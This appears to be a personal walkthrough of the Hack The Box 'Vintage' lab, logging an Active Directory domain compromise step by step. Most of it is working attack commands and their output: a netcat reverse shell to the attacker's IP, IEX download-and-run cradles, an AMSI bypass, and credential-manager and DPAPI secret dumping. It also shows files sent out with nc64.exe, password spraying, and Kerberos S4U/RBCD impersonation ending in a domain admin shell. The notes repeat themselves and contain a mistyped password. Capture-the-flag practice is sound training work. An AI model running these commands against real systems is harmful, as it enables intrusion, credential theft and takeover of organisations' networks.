└─$ impacket-getTGT vintage.htb/C.Neri:'Zer0the0ne' -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in C.Neri.ccache
                                                                                                                
└─$ export KRB5CCNAME=C.Neri.ccache
                                                                                                                
└─$ klist
Ticket cache: FILE:C.Neri.ccache
Default principal: C.Neri@VINTAGE.HTB

Valid starting       Expires              Service principal
05/01/2025 14:06:34  05/02/2025 00:06:34  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 05/02/2025 14:06:34
                                                                                                                
└─$ evil-winrm -i dc01.vintage.htb -r vintage.htb
                                        
Evil-WinRM shell v3.7
                                         
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> cd c:\programdata
*Evil-WinRM* PS C:\programdata> upload nc64.exe
                                        
Info: Uploading /home/bolke/htb/vintage/nc64.exe to C:\programdata\nc64.exe
                                        
Data: 60360 bytes of 60360 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\programdata> ./nc64.exe -e powershell.exe 10.10.14.4 443

and catch the shell

└─$ rlwrap nc -nlvp 443                                  
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.45] 55422
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\programdata> whoami
whoami
vintage\c.neri
PS C:\programdata> 

.

.


Lateral Movement

When checking if any computer has the PrincipalsAllowedToDelegateToAccount LDAP attribute set up, we can see that the DelegatedAdmins group can delegate DC01$, RBCD.

└─$ rlwrap nc -nlvp 443                                  
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.45] 55422
Windows PowerShell

PS C:\programdata> whoami
whoami
vintage\c.neri
PS C:\programdata> Get-AdComputer DC01$ -property PrincipalsAllowedToDelegateToAccount
Get-AdComputer DC01$ -property PrincipalsAllowedToDelegateToAccount


DistinguishedName                    : CN=DC01,OU=Domain Controllers,DC=vintage,DC=htb
DNSHostName                          : dc01.vintage.htb
Enabled                              : True
Name                                 : DC01
ObjectClass                          : computer
ObjectGUID                           : c90b840f-7704-46ee-a3fb-aff23c8183c7
PrincipalsAllowedToDelegateToAccount : {CN=DelegatedAdmins,OU=Pre-Migration,DC=vintage,DC=htb}
SamAccountName                       : DC01$
SID                                  : S-1-5-21-4024337825-2033394866-2055507597-1002
UserPrincipalName                    : 

Looking at Bloodhound, we can see that the C.Neri_adm account has GenericWrite and
AddSelf ACLs over the group object, allowing the user account to add itself to the group.

We can enumerate stored credentials in the credentials manager. To enumerate them, we need an Interactive session with a valid profile. The WinRM session is not an interactive session but rather a
network logon; one can find a better explanation on Bitvise blog. The RunasCs tool has mentioned forcing the profile to allow the spawned process to have all required environment variables and
user profiles.

We can use Invoke-RunAsCs to get a session with logon type 2 and force the profile.

PS C:\programdata> IEX(iwr -uri http://10.10.14.4:8000/Invoke-RunasCs.ps1 -UseBasicParsing)
IEX(iwr -uri http://10.10.14.4:8000/Invoke-RunasCs.ps1 -UseBasicParsing)
IEX : At line:1 char:1
+ function Invoke-RunasCs
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.

Do an AMSI bypatch 1st

PS C:\programdata> . ./AMSIBypassPatch.ps1
. ./AMSIBypassPatch.ps1

then

*Evil-WinRM* PS C:\programdata> Invoke-RunasCs -Username C.Neri -password Zer0the0ne -Domain vintage.htb -Command powershell.exe -Remote 10.10.14.4:1337 -ForceProfile

[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-10c4945$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4820 created in background.

and catch the shell

└─$ rlwrap nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.45] 55703
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
vintage\c.neri
 

then serve Invoke-WCMDump.ps1

└─$ python3 -m http.server                                                                           
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.45 - - [01/May/2025 15:09:46] "GET /Invoke-WCMDump.ps1 HTTP/1.1" 200 -

and run it

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ rlwrap nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.45] 55703

PS C:\Windows\system32> whoami
whoami
vintage\c.neri
PS C:\Windows\system32> cmdkey /l
cmdkey /l

Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02eicexxucchzqre
    Local machine persistence
    
    Target: LegacyGeneric:target=admin_acc
    Type: Generic 
    User: vintage\c.neri_adm
    
PS C:\Windows\system32> IEX(iwr -uri http://10.10.14.4:8000/Invoke-WCMDump.ps1 -UseBasicParsing)
IEX(iwr -uri http://10.10.14.4:8000/Invoke-WCMDump.ps1 -UseBasicParsing)
PS C:\Windows\system32> Invoke-WCMDump
Invoke-WCMDump


Username         : vintage\c.neri_adm
Password         : Uncr4ck4bl3P4ssW0rd0312
Target           : admin_acc
Description      : 
LastWriteTime    : 6/7/2024 5:08:23 PM
LastWriteTimeUtc : 6/7/2024 3:08:23 PM
Type             : Generic
PersistenceType  : Enterprise



PS C:\Windows\system32> 

 

.

 

What is DPAPI?

DPAPI (Data Protection API) is a cryptographic API in Windows operating systems that is designed to protect sensitive data, such as passwords, private keys, credentials, etc. It provides applications with the ability to encrypt and decrypt data, while hiding complex encryption operations and simplifying the encryption process. DPAPI is designed to ensure that only the current user or system can access the encrypted data.

How DPAPI works

  • Encryption : When an application or Windows system needs to store sensitive information, it can encrypt the data through DPAPI. Encryption uses the user’s login credentials (such as the user’s login password or the computer’s key) to generate an encryption key.
  • Decryption : DPAPI can only decrypt data using the same key in the same user context. This way, if an application or service tries to access encrypted credentials or data, only the currently logged on user or administrator can decrypt and access the information.
  • Security : DPAPI is based on account authentication information in the Windows operating system, so its encryption key is closely associated with the user’s login credentials, ensuring that only specific users can access their own encrypted data.

Here we use DPAPI to obtain Windows identity credentials

PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> dir -h

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6                                     

.

PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> dir -h

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847                                 
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b                                 
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE                                                           
-a-hs-          6/7/2024   1:17 PM             24 Preferred    

.

PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

I had troubles with win-rm so i used nc64.exe to transfer all the files

on kali
┌──(puck㉿kali)-[~/htb/vintage]
└─$ nc -nlvp 9001 > C4BB96844A5C9DD45D5B6A9859252BA6                 
listening on [any] 9001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.45] 64872

^C
etc etc
...........


on psession shell as c.neri
PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> dir -h
dir -h


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847                                 
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b                                 
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE                                                           
-a-hs-          6/7/2024   1:17 PM             24 Preferred                                                            


PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> cmd
cmd
Microsoft Windows [Version 10.0.20348.2849]
(c) Microsoft Corporation. All rights reserved.

C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115>copy c:\programdata\nc64.exe .
copy c:\programdata\nc64.exe .
        1 file(s) copied.

C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115>nc64.exe 10.10.14.8 9001 < 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
nc64.exe 10.10.14.8 9001 < 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115>nc64.exe 10.10.14.8 9001 < 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
nc64.exe 10.10.14.8 9001 < 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847

C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115>nc64.exe 10.10.14.8 9001 < BK-VINTAGE
nc64.exe 10.10.14.8 9001 < BK-VINTAGE

C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115>nc64.exe 10.10.14.8 9001 < Preferred
nc64.exe 10.10.14.8 9001 < Preferred

C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115>

 

then decrypt

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description : 
Unknown     : 
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]

.

We verify if correct, and yes it is.

└─$ netexec smb dc01.vintage.htb -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\c.neri_adm:Uncr4ck4bl3P4ssW0rd0312 

.

 


 

 

There is a cleanup job running at regular intervals. so 1st enable sql_svc account again with bloodyad

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                  
┌──(puck㉿kali)-[~/htb/vintage]
└─$ ./kerbrute_linux_amd64 --dc vintage.htb -d vintage.htb -v passwordspray users.txt Zer0the0ne                 

--snip--
2025/01/21 12:19:02 >  [!] G.Viola@vintage.htb:Zer0the0ne - Invalid password
2025/01/21 12:19:02 >  [!] gMSA01$@vintage.htb:Zer0the0ne - Invalid password
2025/01/21 12:19:02 >  [+] VALID LOGIN:	 C.Neri@vintage.htb:Zer0the0ne
2025/01/21 12:19:02 >  [+] VALID LOGIN:	 svc_sql@vintage.htb:Zer0the0ne
2025/01/21 12:19:02 >  [!] svc_ldap@vintage.htb:Zer0the0ne - Got AS-REP (no pre-auth) but couldn't decrypt - bad password
2025/01/21 12:19:02 >  [!] C.Neri_adm@vintage.htb:Zer0the0ne - Invalid password
2025/01/21 12:19:02 >  [!] svc_ark@vintage.htb:Zer0the0ne - Got AS-REP (no pre-auth) but couldn't decrypt - bad password
2025/01/21 12:19:02 >  [!] L.Bianchi_adm@vintage.htb:Zer0the0ne - Invalid password
2025/01/21 12:19:02 >  Done! Tested 17 logins (2 successes) in 0.155 seconds

.

.

Get tickets from C.Neri and svc_sql.

in 1st terminal window

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/C.Neri:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in C.Neri.ccache
                                                                                                                     
$ export KRB5CCNAME=C.Neri.ccache 
                                                                                                                     
$ klist
Ticket cache: FILE:C.Neri.ccache
Default principal: C.Neri@VINTAGE.HTB

Valid starting       Expires              Service principal
01/16/2025 18:10:03  01/17/2025 04:10:03  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/17/2025 18:10:03

and in 2nd terminal windows

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_sql.ccache
                                                                                                           
$ export KRB5CCNAME=svc_sql.ccache             
                                                                                                           
$ klist
Ticket cache: FILE:svc_sql.ccache
Default principal: svc_sql@VINTAGE.HTB

Valid starting       Expires              Service principal
01/17/2025 11:05:02  01/17/2025 21:05:02  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/18/2025 11:05:02

.

C.Neri is an RM user and can log in to the terminal.

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ netexec smb dc01.vintage.htb -u 'P.Rosa' -p 'Rosaisbest123' -k --generate-krb5-file vintage-krb5.conf
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa:Rosaisbest123 
                                                                                                                     
┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ cat vintage-krb5.conf                                         

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = VINTAGE.HTB

[realms]
    VINTAGE.HTB = {
        kdc = dc01.vintage.htb
        admin_server = dc01.vintage.htb
        default_domain = vintage.htb
    }

[domain_realm]
    .vintage.htb = VINTAGE.HTB
    vintage.htb = VINTAGE.HTB

 

.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ cat /etc/krb5.conf
[libdefaults]
        default_realm = VINTAGE.HTB
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true
        dns_canonicalize_hostname = false
        dns_lookup_realm = false
        dns_lookup_kdc = true
        k5login_authoritative = false
[realms]        
        SCRM.LOCAL = {
                kdc = dc1.scrm.local
                admin_server = dc1.scrm.local
        }
        ABSOLUTE.HTB = {
                kdc = absolute.htb
                admin_server = absolute.htb
                default_admin = absolute.htb
        }
        VINTAGE.HTB = {
                kdc = vintage.htb
                admin_server = vintage.htb
                default_admin = vintage.htb
        }
[domain_realm]
        .vintage.htb = VINTAGE.HTB

.

evil-winrm -i dc01.vintage.htb -r vintage.htb

PS> Enter-PSSession dc01.vintage.htb -Credential C.Neri        -> enter pw : Zer0the0ne

.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01.vintage.htb -u C.Neri -r vintage.htb
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: User is not needed for Kerberos auth. Ticket will be used
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami
vintage\c.neri
*Evil-WinRM* PS C:\Users\C.Neri\Documents> 

After logging in to the terminal, we need to add spn to svc_sql, and you can see the difference before and after adding.

*Evil-WinRM* PS C:\Users\C.Neri\Documents> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             :
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               :
UserPrincipalName     :

.

*Evil-WinRM* PS C:\Users\C.Neri\Documents> Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/puckie"}
*Evil-WinRM* PS C:\Users\C.Neri\Documents> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             :
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {cifs/puckie}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               :
UserPrincipalName     :

 



S4U2SELF

The user C.NERI_ADM@VINTAGE.HTB has the ability to add itself, to the group DELEGATEDADMINS@VINTAGE.HTB. Because of security group delegation, the members of a security group have the same privileges as that group.

By adding itself to the group, C.NERI_ADM@VINTAGE.HTB will gain the same privileges that DELEGATEDADMINS@VINTAGE.HTB already has.

in a new 3th terminal

┌──(puck㉿kali)-[~/htb/vintage]
└─$ kdestroy
                                                                                              
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312' -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri_adm.ccache
                                                                                              
$ export KRB5CCNAME=c.neri_adm.ccache          
                                                                                              
┌──(puck㉿kali)-[~/htb/vintage]
└─$ klist   
Ticket cache: FILE:c.neri_adm.ccache
Default principal: c.neri_adm@VINTAGE.HTB

Valid starting       Expires              Service principal
01/17/2025 14:40:50  01/18/2025 00:40:50  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/18/2025 14:40:50

.

port 3389 is not open, so we coud not use : xfreerdp3 /v:10.10.11.45:3389 /u:c.neri_adm /p:Uncr4ck4bl3P4ssW0rd0312

Next

svc_sqlSPN(ServicePrincipalNames)

Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames

SPN

Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/test"}
or set with bloodyAD
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/test"

The next step is to add C.NERL_ADM to DELEGATEDADMINS

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/test"
[+] SVC_SQL's servicePrincipalName has been updated
Get the ticket for this SVC
$ impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
 
$ export KRB5CCNAME=svc_sql.ccache

Impersonate L.BIANCHI_ADM user to request cifs/dc01.vintage.htba service ticket for the service. After successfully obtaining the ticket, you can use it to access the service.

Now that we have L.BIANCHI’s ticket, we can directly execute the command through wmiexec

$ impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb 

Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies 
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
vintage\l.bianchi_adm

 



thus on terminal1 [ticket:svc_sql.ccache]
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getTGT vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb                                                      
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_sql.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ export KRB5CCNAME=svc_sql.ccache                                                                                            

                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0n'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
thus on terminal2 [ticket:GMSA01$.ccache]
┌──(puck㉿kali)-[~/htb/vintage]
└─$ klist
Ticket cache: FILE:GMSA01$.ccache
Default principal: GMSA01$@VINTAGE.HTB

Valid starting       Expires              Service principal
01/21/2025 16:41:25  01/22/2025 02:41:25  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/22/2025 16:41:25
                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                               
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
[+] SVC_SQL added to DELEGATEDADMINS
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
thus on terminal3 [psessession as c.neri]

PS C:\ProgramData> Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/test"}
Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/test"}
PS C:\ProgramData> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames
Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             : 
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {cifs/test}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               : 
UserPrincipalName     : 



PS C:\ProgramData> Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames
Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames


DistinguishedName     : CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
Enabled               : False
GivenName             : 
Name                  : svc_sql
ObjectClass           : user
ObjectGUID            : 3fb41501-6742-4258-bfbe-602c3a8aa543
SamAccountName        : svc_sql
ServicePrincipalNames : {cifs/test}
SID                   : S-1-5-21-4024337825-2033394866-2055507597-1134
Surname               : 
UserPrincipalName     : 

tada :

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0n'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ klist   
Ticket cache: FILE:L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
Default principal: L.BIANCHI_ADM@vintage.htb

Valid starting       Expires              Service principal
01/21/2025 19:40:26  01/22/2025 05:40:11  cifs/dc01.vintage.htb@VINTAGE.HTB
    renew until 01/22/2025 19:40:11
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm


 Directory of c:\users\Administrator\desktop

11/14/2024  07:48 PM    <DIR>          .
06/08/2024  03:36 PM    <DIR>          ..
01/21/2025  11:06 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   5,768,691,712 bytes free

c:\users\Administrator\desktop>type root.txt
eff3<redacted>4b1a

c:\users\Administrator\desktop>

 


RBCD Delegation

Strategy

The AllowedToAct attribute is given when the group is configured for resource based constrained delegation (RBCD).

To pull of this attack, I’ll need a compromised account with a service principal name (SPN). C.Neri_adm does not have one, and I don’t have permissions to add one. But, FS01$ does, and C.Neri_adm has GenericWrite over DelegatedAdmins, which means they can add accounts to the group. From there, I can have the FS01$ account request a ticket on behalf of any account. There are many ways to exploit this. I’ll get a CIFS ticket as the DC01$ computer account and use that to dump the hashes for the domain.

Add FS01$ to DelegatedAdmins

I’ll use bloodyAD to add the account to the group. I’ll need a Kerberos ticket as C.Neri_adm:

└─$ kinit c.neri_adm
Password for c.neri_adm@VINTAGE.HTB: 
                                                                                                                     
└─$ klist           
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: c.neri_adm@VINTAGE.HTB

Valid starting       Expires              Service principal
05/01/2025 10:34:16  05/01/2025 20:34:16  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 05/02/2025 10:34:01

.

bloodyAD has a add groupMember command:

puck@kali$ KRB5CCNAME=/tmp/krb5cc_1000 bloodyAD -d vintage.htb -k --host dc01.vintage.htb -k add groupMember DelegatedAdmins 'fs01$'
[+] fs01$ added to DelegatedAdmins

Get DC01$ ST

I’ll make a new ticket as FS01$:

└─$ kinit c.neri_adm
Password for c.neri_adm@VINTAGE.HTB: 
                                                                                                                     
└─$ klist           
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: c.neri_adm@VINTAGE.HTB

Valid starting       Expires              Service principal
05/01/2025 10:39:16  05/01/2025 20:39:16  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 05/02/2025 10:39:01

 

With this ticket, I’ll use getST.py (from Impacket) to get a ticket as DC01$:

getST.py -spn 'cifs/dc01.vintage.htb' -impersonate 'dc01$' 'vintage.htb/fs01$:fs01' -dc-ip dc01.vintage.htb

└─$ getST.py -spn 'cifs/dc01.vintage.htb' -impersonate 'dc01$' 'vintage.htb/fs01$:fs01' -dc-ip dc01.vintage.htb
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

 

It works:

